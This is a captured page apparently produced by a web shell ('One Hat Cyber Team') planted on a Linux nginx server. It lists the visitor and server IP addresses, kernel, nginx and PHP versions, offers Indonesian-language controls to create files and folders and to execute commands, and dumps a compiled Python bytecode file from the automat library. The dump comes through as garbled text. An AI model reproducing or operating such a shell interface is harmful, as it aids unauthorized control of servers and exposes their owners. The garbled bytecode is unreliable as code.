⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
automat
/
__pycache__
/
View File Name :
_core.cpython-312.pyc
~b Z d Z ddlmZ dZ G d de Z G d de Z G d d e Zy )zp A core state-machine abstraction. Perhaps something that could be replaced with or integrated into machinist. )chainz
c " e Zd ZdZ fdZ xZS )NoTransitionz A finite state machine in C{state} has no transition for C{symbol}. @param state: the finite state machine's state at the time of the illegal transition. @param symbol: the input symbol for which no transition exists. c h || _ || _ t t | dj || y )Nzno transition for {} in {})statesymbolsuper Exception__init__format)selfr r __class__s //usr/lib/python3/dist-packages/automat/_core.pyr zNoTransition.__init__ s0 i'(//> )__name__ __module____qualname____doc__r __classcell__)r s @r r r s r r c n e Zd ZdZd Zed Zej d Zd Zd Z d Z d Zd Zd Z y) Automatonzr A declaration of a finite state machine. Note that this is not the machine itself; it is immutable. c 8 t | _ t | _ y)zJ Initialize the set of transitions and the initial state. N) _NO_STATE _initialStateset_transitionsr s r r zAutomaton.__init__' s 'Er c | j S )z8 Return this automaton's initial state. )r r s r initialStatezAutomaton.initialState/ s !!!r c ~ | j t ur$t dj | j || _ y)z Set this automaton's initial state. Raises a ValueError if this automaton already has an initial state. zinitial state already set to {}N)r r ValueErrorr )r r s r r zAutomaton.initialState7 s? Y.1889K9KLN N #r c | j D ]- \ }}}}||k( s||k( st dj || | j j |||t | f y)z Add the given transition to the outputSymbol. Raise ValueError if there is already a transition with the same inState and inputSymbol. z&already have transition from {} via {}N)r r! r addtuple) r inStateinputSymboloutState outputSymbols anInState anInputSymbol anOutState_s r addTransitionzAutomaton.addTransitionE ss :>9J9J5Y z1W$+)E <CCG[Y[ [ :K k8U=-AB r c , t | j S )z" All transitions. ) frozensetr r s r allTransitionszAutomaton.allTransitionsV s **++r c \ | j D ch c] \ }}}}| c}}}}S c c}}}}w )zG The full set of symbols acceptable to this automaton. )r )r r% r&